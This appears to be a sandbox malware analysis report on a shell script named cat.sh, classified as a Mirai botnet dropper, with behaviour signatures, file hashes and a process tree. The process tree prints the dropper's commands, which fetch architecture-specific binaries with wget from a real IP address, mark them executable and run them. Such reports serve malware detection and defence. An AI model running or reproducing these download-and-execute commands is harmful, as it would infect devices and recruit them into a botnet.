Overview

overview

10

Static

static

1

cat.sh

ubuntu-18.04-amd64

10

cat.sh

debian-9-armhf

10

cat.sh

debian-9-mips

10

cat.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/05/2026, 22:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cat.sh
  • Size 1KB
  • Sample260525-2b1x6sa16w
  • SHA256 b4537262f18d9b0b667aced73206f5699a0e3d197ba5ed6a165cb56708532f4e
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetmiraidefense_evasiondiscoverymiraiupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 3 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 3 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/uname
      uname -m
      2⤵
        PID:652
      • /usr/bin/wget
        wget -q http://64.89.161.130/bins/armv7l -O armv7l
        2⤵
        • Writes file to tmp directory
        PID:656
      • /bin/chmod
        chmod 755 armv7l
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /bin/sleep
        sleep 2
        2⤵
          PID:674
        • /tmp/armv7l
          ./armv7l
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:673
        • /usr/bin/wget
          wget -q http://64.89.161.130/bins/armv5l -O armv5l
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 755 armv5l
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/armv5l
          ./armv5l
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:681
        • /bin/sleep
          sleep 1
          2⤵
            PID:682
          • /usr/bin/wget
            wget -q http://64.89.161.130/bins/armv6l -O armv6l
            2⤵
            • Writes file to tmp directory
            PID:722
          • /bin/chmod
            chmod 755 armv6l
            2⤵
            • File and Directory Permissions Modification
            PID:729
          • /bin/sleep
            sleep 1
            2⤵
              PID:731
            • /tmp/armv6l
              ./armv6l
              2⤵
                PID:730
              • /usr/bin/wget
                wget -q http://64.89.161.130/bins/arm -O arm
                2⤵
                • Writes file to tmp directory
                PID:747
              • /bin/chmod
                chmod 755 arm
                2⤵
                • File and Directory Permissions Modification
                PID:757
              • /bin/sleep
                sleep 1
                2⤵
                  PID:760
                • /tmp/arm
                  ./arm
                  2⤵
                  • Deletes itself
                  • Modifies Watchdog functionality
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to shm directory
                  PID:759
                • /usr/bin/wget
                  wget -q http://64.89.161.130/bins/m68k -O m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:770
                • /bin/chmod
                  chmod 755 m68k
                  2⤵
                  • File and Directory Permissions Modification
                  PID:771
                • /bin/sleep
                  sleep 1
                  2⤵
                    PID:773
                  • /tmp/m68k
                    ./m68k
                    2⤵
                      PID:772
                    • /usr/bin/wget
                      wget -q http://64.89.161.130/bins/mips -O mips
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:775
                    • /bin/chmod
                      chmod 755 mips
                      2⤵
                      • File and Directory Permissions Modification
                      PID:776
                    • /bin/sleep
                      sleep 1
                      2⤵
                        PID:778
                      • /tmp/mips
                        ./mips
                        2⤵
                        • System Network Configuration Discovery
                        PID:777
                      • /usr/bin/wget
                        wget -q http://64.89.161.130/bins/mpsl -O mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:782
                      • /bin/chmod
                        chmod 755 mpsl
                        2⤵
                        • File and Directory Permissions Modification
                        PID:783
                      • /bin/sleep
                        sleep 1
                        2⤵
                          PID:785
                        • /tmp/mpsl
                          ./mpsl
                          2⤵
                            PID:784
                          • /usr/bin/wget
                            wget -q http://64.89.161.130/bins/ppc -O ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:787
                          • /bin/chmod
                            chmod 755 ppc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:788
                          • /bin/sleep
                            sleep 1
                            2⤵
                              PID:790
                            • /tmp/ppc
                              ./ppc
                              2⤵
                                PID:789
                              • /usr/bin/wget
                                wget -q http://64.89.161.130/bins/sh4 -O sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:792
                              • /bin/chmod
                                chmod 755 sh4
                                2⤵
                                • File and Directory Permissions Modification
                                PID:793
                              • /bin/sleep
                                sleep 1
                                2⤵
                                  PID:795
                                • /tmp/sh4
                                  ./sh4
                                  2⤵
                                    PID:794
                                  • /usr/bin/wget
                                    wget -q http://64.89.161.130/bins/spc -O spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:801
                                  • /bin/chmod
                                    chmod 755 spc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:802
                                  • /bin/sleep
                                    sleep 1
                                    2⤵
                                      PID:804
                                    • /tmp/spc
                                      ./spc
                                      2⤵
                                        PID:803
                                      • /usr/bin/wget
                                        wget -q http://64.89.161.130/bins/x86_64 -O x86_64
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:806
                                      • /bin/chmod
                                        chmod 755 x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:807
                                      • /bin/sleep
                                        sleep 1
                                        2⤵
                                          PID:809
                                        • /tmp/x86_64
                                          ./x86_64
                                          2⤵
                                            PID:808

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              .comm
                                              • Path /dev/shm/.comm
                                              • Size 16B
                                              • SHA256 d637caa111984b3b4eee9708a9fe85bacb2921cc0bb3fcd91de86db1176511c9
                                              • MD5 SHA1 SHA512
                                              Submit Download

                                              .comm
                                              • Path /dev/shm/.comm
                                              • Size 6B
                                              • SHA256 02e5e9f9f1c216185e345429985d3045c7d14921d8aeaf44f7ccadb92200f708
                                              • MD5 SHA1 SHA512
                                              Submit Download

                                              .comm
                                              • Path /dev/shm/.comm
                                              • Size 10B
                                              • SHA256 dea62e10d8e8bae24fc34ecb8304e56f5eb6622df7d0689a4359e8fdf5d0ad85
                                              • MD5 SHA1 SHA512
                                              Submit Download

                                              arm
                                              • Path /tmp/arm
                                              • Size 34KB
                                              • SHA256 22815bb629f201e64f7cd18db7a6e4f4824abc8da2f958d713f47a2ff177886d
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              armv5l
                                              • Path /tmp/armv5l
                                              • Size 33KB
                                              • SHA256 431e983730ee960aebb586042fb1d2ba46b131f413a90911c9d4b516af5c1ac3
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              armv6l
                                              • Path /tmp/armv6l
                                              • Size 37KB
                                              • SHA256 c79e97ba21d45cc66625fbd0654d7fce5fffc8dc35bf31c42a8bc962ec816659
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              armv7l
                                              • Path /tmp/armv7l
                                              • Size 58KB
                                              • SHA256 7d866c3b02fd3a8f3f270c3a53c625fa980e6e3db6093acc5d564d5549dcdc16
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              m68k
                                              • Path /tmp/m68k
                                              • Size 79KB
                                              • SHA256 fb124879e651fce06de0adf8ee7f62046bdf0e50e7a288c7e6956f09dfd7c08e
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              mips
                                              • Path /tmp/mips
                                              • Size 36KB
                                              • SHA256 8c20a9fd18836f0cba2bb1e6552b179d2038cbe3fa3023b3f250800565368a21
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              mpsl
                                              • Path /tmp/mpsl
                                              • Size 37KB
                                              • SHA256 85201b221ceb454802192829933560ee26a82aaa7bcc03cbe4f355bcdd44ddda
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              ppc
                                              • Path /tmp/ppc
                                              • Size 33KB
                                              • SHA256 03530317daf063147818fbc620998b63efb93d25824745a1e53a2684a66993cf
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              sh4
                                              • Path /tmp/sh4
                                              • Size 62KB
                                              • SHA256 733a3044ec0d4dd976958c38ea9c4536994eb170c399e4456bd5cd091452f415
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              spc
                                              • Path /tmp/spc
                                              • Size 76KB
                                              • SHA256 3d27b7f26735535c0ba1e456ce4bd3e7db8eb52ab5e68c7b3bcb2c6b0ec3b7e5
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              x86_64
                                              • Path /tmp/x86_64
                                              • Size 33KB
                                              • SHA256 1face8fa47baaa28eb4c70ffa3700df23c5e21a140949da4984778ca197b3893
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download